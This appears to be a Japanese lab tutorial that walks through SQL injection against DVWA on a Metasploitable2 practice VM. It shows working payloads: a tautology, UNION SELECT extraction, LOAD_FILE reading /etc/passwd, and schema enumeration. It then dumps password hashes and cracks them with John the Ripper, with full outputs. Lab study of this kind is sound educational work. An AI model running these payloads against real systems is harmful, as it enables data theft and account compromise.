安全なウェブサイトの作り方:IPA 独立行政法人 情報処理推進機構
P.6「1.1 SQL インジェクション」参照
別冊:「安全なSQLの呼び出し方」参照
Metasploitable2 の DVWA にログインする
Security Level : low を確認
- 左欄から SQL Injection を選択し、Vulnerability: SQL Injection ページに移動する
- 入力欄に 1 を入力してみる
右下の ”View Source” をクリックしてソースコードを確認してみる
SELECT first_name, last_name FROM users WHERE user_id = '$id'
user_id が一致する、first_name と last_name を検索している
MySQL DB の中を直接見てみる
- 端末で Metasploitable2 に接続(User : msfadmin Pass : msfadmin)
- DB にログイン(User : root Pass : なし)
root@kali:~# ssh msfadmin@192.168.56.105 msfadmin@192.168.56.105's password: Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 ~(中略)~ msfadmin@metasploitable:~$ mysql -u root -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 13 Server version: 5.0.51a-3ubuntu5 (Ubuntu) Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql>
DB の中身を確認
mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | dvwa | | metasploit | | mysql | | owasp10 | | tikiwiki | | tikiwiki195 | +--------------------+ 7 rows in set (0.00 sec) mysql> use dvwa; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql>
先ほど確認した SQL文で発行してみる
mysql> SELECT first_name, last_name FROM users WHERE user_id = '1'; +------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | +------------+-----------+
次に、"%" で検索してみると出てこない。(%という user_id はない)
(ここの % は LIKE と一緒に使うワイルドカードとは違う。単なる置物)
mysql> SELECT first_name, last_name FROM users WHERE user_id = '%'; Empty set (0.00 sec)
しかし、OR 文にし、二番目の条件式を '0'='0' とすると、この条件は真である。
mysql> SELECT first_name, last_name FROM users WHERE user_id = '%' OR '0' = '0'; +------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | +------------+-----------+
全てのレコードが表示されてしまう。
ここで、先ほどの SQL文からシングルコーテーションで囲まれた部分「%' OR '0' = '0」をコピーし、DVWA の入力欄にペーストする。そして、"submit"
全てのレコードが表示された。
これは、ソースコード上の $id 部分が下記のように置き換わる形となる。
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '%' OR '0' = '0'";
次に、端末に戻り、今度は UNION 文を書いてみる。
UNION (Transact-SQL) - SQL Server | Microsoft Docs
2 つのクエリの結果を、単一の結果セットに連結します。 結果セットに重複する行が含まれるかどうかを制御します。
UNION ALL - 重複が含まれます。
UNION - 重複が除外されます。
一例
mysql> SELECT 1 AS NUM; +-----+ | NUM | +-----+ | 1 | +-----+ mysql> SELECT 2 AS NUM; +-----+ | NUM | +-----+ | 2 | +-----+ mysql> SELECT 1 AS NUM UNION SELECT 2 AS NUM; +-----+ | NUM | +-----+ | 1 | | 2 | +-----+
では実際に端末側で書いてみる
mysql> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT @@version;(@@については後述) ERROR 1222 (21000): The used SELECT statements have a different number of columns (エラー:UNION はフィールド数が揃っていないとエラーになる。そこで NULL を追加して再実行する) mysql> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT null,@@version; +------------+------------------+ | first_name | last_name | +------------+------------------+ | NULL | 5.0.51a-3ubuntu5 | +------------+------------------+
正常に実行され、MySQL のバージョンが表示されている。
ちなみに
mysql> select first_name, last_name from users; +------------+-----------+ | first_name | last_name | +------------+-----------+ | admin | admin | | Gordon | Brown | | Hack | Me | | Pablo | Picasso | | Bob | Smith | +------------+-----------+
今度は、LOADFILE を使用して、Metasploitable2 のパスワードフィアルを表示してみる。(1行で横長なので \G で行毎に表示)
mysql> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT null,LOAD_FILE('/etc/passwd')\G *************************** 1. row *************************** first_name: NULL last_name: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh ~(後略)~ 1 row in set (0.00 sec)
上記 SQL文の内 「' UNION SELECT null,LOAD_FILE('/etc/passwd')」をコピーし、DVWAの入力欄に張り付ける。最後に # を付け、残りの SQL文をコメントとして扱う。
/etc/passwd が表示されることが分かる。
また端末に戻り、次は information_schema を利用して、先頭が user となるすべてのテーブル名を表示してみる
MySQL :: MySQL 5.6 リファレンスマニュアル :: 21 INFORMATION_SCHEMA テーブル
INFORMATION_SCHEMA は、各 MySQL インスタンス内のデータベースであり、MySQL Server が保持するほかのすべてのデータベースに関する情報を格納する場所です。
INFORMATION_SCHEMA データベースには複数の読み取り専用テーブルが含まれます。これらには実際にはビューがあるので、関連付けられたファイルはなく、トリガーは設定できません。また、その名前を持つデータベースディレクトリもありません。
USE ステートメントを使用してデフォルトデータベースとして INFORMATION_SCHEMA を選択できますが、実行できる操作はテーブル内容の読み取りだけで、テーブルに対する INSERT、UPDATE、DELETE 操作は実行できません。
mysql> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT null,table_name from information_schema.tables where table_name like 'user%'; +------------+-------------------------+ | first_name | last_name | +------------+-------------------------+ | NULL | USER_PRIVILEGES | | NULL | users | | NULL | user | | NULL | users_grouppermissions | | NULL | users_groups | | NULL | users_objectpermissions | | NULL | users_permissions | | NULL | users_usergroups | | NULL | users_users | +------------+-------------------------+
上記の中でパスワード情報を含んでいるのは users テーブルなので users テーブルの information_schema の中からすべてのカラム名を表示する。
テーブル名とカラム名を改行(Line Feed : 0x0A)を挟んで連結する(Concat 関数については後述)。
mysql> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name='users'\G *************************** 1. row *************************** first_name: NULL last_name: users user_id *************************** 2. row *************************** first_name: NULL last_name: users first_name *************************** 3. row *************************** first_name: NULL last_name: users last_name *************************** 4. row *************************** first_name: NULL last_name: users user *************************** 5. row *************************** first_name: NULL last_name: users password *************************** 6. row *************************** first_name: NULL last_name: users avatar 6 rows in set (0.00 sec)
カラム名としては、user_id, first_name, last_name, user, password, avatar の6つあることが分かる。
次に、users テーブルのカラムの内容を表示させる。
mysql> SELECT first_name, last_name FROM users WHERE user_id = '' UNION SELECT null,concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users\G *************************** 1. row *************************** first_name: NULL last_name: admin admin admin 5f4dcc3b5aa765d61d8327deb882cf99 *************************** 2. row *************************** first_name: NULL last_name: Gordon Brown gordonb e99a18c428cb38d5f260853678922e03 *************************** 3. row *************************** first_name: NULL last_name: Hack Me 1337 8d3533d75ae2c3966d7e0d4fcc69216b *************************** 4. row *************************** first_name: NULL last_name: Pablo Picasso pablo 0d107d09f5bbe40cade3de5c71e9e9b7 *************************** 5. row *************************** first_name: NULL last_name: Bob Smith smithy 5f4dcc3b5aa765d61d8327deb882cf99 5 rows in set (0.00 sec)
SQL文の内「' UNION SELECT null,concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users」までをコピーして DVWA に張り付ける。最後に # を付けて "submit"
すると、パスワードのハッシュ値が表示されることが分かる
ここで、端末を新しく開いて、下記のような形でパスワードハッシュファイルの作成を行う。
先ほどのテーブルの 4,5カラム(user, password (のハッシュ値))をコピペし、コロンで連結する。
root@kali:~# vim dvwa_hash.txt admin:5f4dcc3b5aa765d61d8327deb882cf99 gordonb:e99a18c428cb38d5f260853678922e03 1337:8d3533d75ae2c3966d7e0d4fcc69216b pablo:0d107d09f5bbe40cade3de5c71e9e9b7 smithy:5f4dcc3b5aa765d61d8327deb882cf99
ファイルを保存する。このハッシュファイルを使って
John the Ripper を実行する
『John the Ripper』
www.demandosigno.study
root@kali:~# john --format=raw-md5 dvwa_hash.txt Created directory: /root/.john Using default input encoding: UTF-8 Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=2 Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 12 candidates buffered for the current salt, minimum 24 needed for performance. Almost done: Processing the remaining buffered candidate passwords, if any. Warning: Only 18 candidates buffered for the current salt, minimum 24 needed for performance. Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist password (admin) password (smithy) abc123 (gordonb) letmein (pablo) Proceeding with incremental:ASCII charley (1337) 5g 0:00:00:00 DONE 3/3 (2019-09-16 18:29) 10.20g/s 371865p/s 371865c/s 406542C/s stevy13..candake Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably Session completed
パスワードが解析されたことが分かる。
補足 MySQL のシステム変数 @@var_name
MySQL :: MySQL 5.6 リファレンスマニュアル :: 5.1.4 サーバーシステム変数
MySQL :: MySQL 5.6 リファレンスマニュアル :: 5.1.5 システム変数の使用
MySQL Server には、その構成方法を指示する多くのシステム変数が保持されています。
システム変数名と値を表示するには、SHOW VARIABLES ステートメントを使用します。
mysql> SHOW VARIABLES; +---------------------------------+-----------------------------+ | Variable_name | Value | +---------------------------------+-----------------------------+ | auto_increment_increment | 1 | | auto_increment_offset | 1 | | automatic_sp_privileges | ON | | back_log | 50 | | basedir | /usr/ | ~(中略)~ | version | 5.0.51a-3ubuntu5 | | version_comment | (Ubuntu) | | version_compile_machine | i486 | | version_compile_os | debian-linux-gnu | | wait_timeout | 28800 | +---------------------------------+-----------------------------+ 232 rows in set (0.00 sec) mysql> SELECT @@version; +------------------+ | @@version | +------------------+ | 5.0.51a-3ubuntu5 | +------------------+ 1 row in set (0.01 sec)
補足 MySQL の関数と演算子
MySQL :: MySQL 5.6 リファレンスマニュアル :: 12 関数と演算子
MySQL :: MySQL 5.6 リファレンスマニュアル :: 12.5 文字列関数
SQL ステートメントのいくつかのポイント (SELECT ステートメントの ORDER BY または HAVING 句、SELECT、DELETE、または UPDATE ステートメントの WHERE 句、SET ステートメントなど) では、式を使用できます。
式は、リテラル値、カラム値、NULL、組み込み関数、ストアドファンクション、ユーザー定義関数、および演算子を使用して作成できます。
LOAD_FILE(file_name)
ファイルを読み取り、ファイルの内容を文字列として返します。この関数を使用するには、ファイルがサーバーホストに配置されている必要があり、ファイルへのフルパス名を指定し、FILE 権限を持つ必要があります。
ファイルはすべてのユーザーから読み取り可能で、max_allowed_packet バイトよりも小さなサイズである必要があります。
secure_file_priv システム変数が空でないディレクトリ名に設定されている場合は、そのディレクトリ内にロード対象のファイルが配置されている必要があります。
ファイルが存在しない場合、または上記の条件が満たされていないために、ファイルを読み取ることができない場合、この関数は NULL を返します。
character_set_filesystem システム変数では、リテラル文字列として指定されているファイル名の解釈が制御されます。
mysql> UPDATE t SET blob_col=LOAD_FILE('/tmp/picture') WHERE id=1;
MySQL :: MySQL 5.6 リファレンスマニュアル :: 12.5 文字列関数
CONCAT(str1,str2,...)
引数を連結することで生成される文字列を返します。1 つ以上の引数を持つ場合があります。すべての引数が非バイナリ文字列の場合は、結果も非バイナリ文字列になります。
引数にバイナリ文字列が含まれる場合は、結果はバイナリ文字列になります。数値の引数は、同等の非バイナリ文字列形式に変換されます。
引数のいずれかかが NULL である場合、CONCAT() は NULL を返します。
mysql> SELECT CONCAT('My', 'S', 'QL'); -> 'MySQL' mysql> SELECT CONCAT('My', NULL, 'QL'); -> NULL mysql> SELECT CONCAT(14.3); -> '14.3'
引用符で囲まれた文字列では、文字列を並べて配置することで連結が実行されます。
mysql> SELECT 'My' 'S' 'QL'; -> 'MySQL'
INFORMATION_SCHEMA テーブル
MySQL :: MySQL 5.6 リファレンスマニュアル :: 21.4 INFORMATION_SCHEMA COLUMNS テーブル
COLUMNS テーブルは、テーブル内のカラムに関する情報を提供します。